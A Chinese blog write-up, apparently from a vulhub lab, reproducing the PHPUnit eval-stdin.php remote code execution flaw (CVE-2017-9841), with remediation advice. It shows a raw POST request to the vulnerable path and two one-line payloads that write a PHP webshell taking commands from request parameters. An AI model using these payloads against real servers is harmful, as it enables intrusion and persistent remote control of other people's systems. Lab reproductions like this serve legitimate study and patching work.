zoukankan      html  css  js  c++  java
  • PHPUnit漏洞复现

    简介

    漏洞环境:vulhub

    参考链接:

    https://blog.csdn.net/csacs/article/details/90640601

    https://blog.csdn.net/zy15667076526/article/details/111824844

    CVE-2017-9841

    PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹。phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

    composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。

    phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码

    eval('?>'.file_get_contents('php://input'));

    如果该文件被用户直接访问到,将造成原创代码执行漏洞。

    影响版本:

    • 4.8.19 ~ 4.8.27
    • 5.0.10 ~ 5.6.2

    漏洞复现

    启动vulhub中的docker环境,访问eval-stdin.php的路径:

    http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

    使用bp进行抓包,将请求方式改为POST,同时将php代码作为请求体。

    POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
    Host: 144.34.169.6:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 18

    执行结果:

    看博客,写入一句话木马:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');,但是我发现我根本写入不进去,提示该文件写入权限不足:

    file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code

    原因是,apache使用的是www-data用户运行,而web目录下的文件用户与用户组权限均为root,eval-stdin.php所在的PHP文件夹,其他用户只有执行和读权限,所以写入失败。

    如果要写入一句话木马,需要将PHP目录增加其他用户可写权限。

    也可以用这个写入一句话,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>

    漏洞修复

    • 生产环境中直接删掉phpunit
    • 升级phpunit版本
    • 设置权限,禁止访问该目录
    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    成功故事--甩手的故事 《转》
    从李小龙的一句话看程序员是否应该多学几种编程语言
    Windows编程中各种操作文件的方法《转载》
    MFC 属性表单的创建
    MFC 七种数据交换方式--对话框
    如何下载小众电影
    阿里2015前端笔试题
    jquery 20行代码实现简单轮播效果
    CSS定位与浮动
    盒子模型
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14738721.html
Copyright © 2011-2022 走看看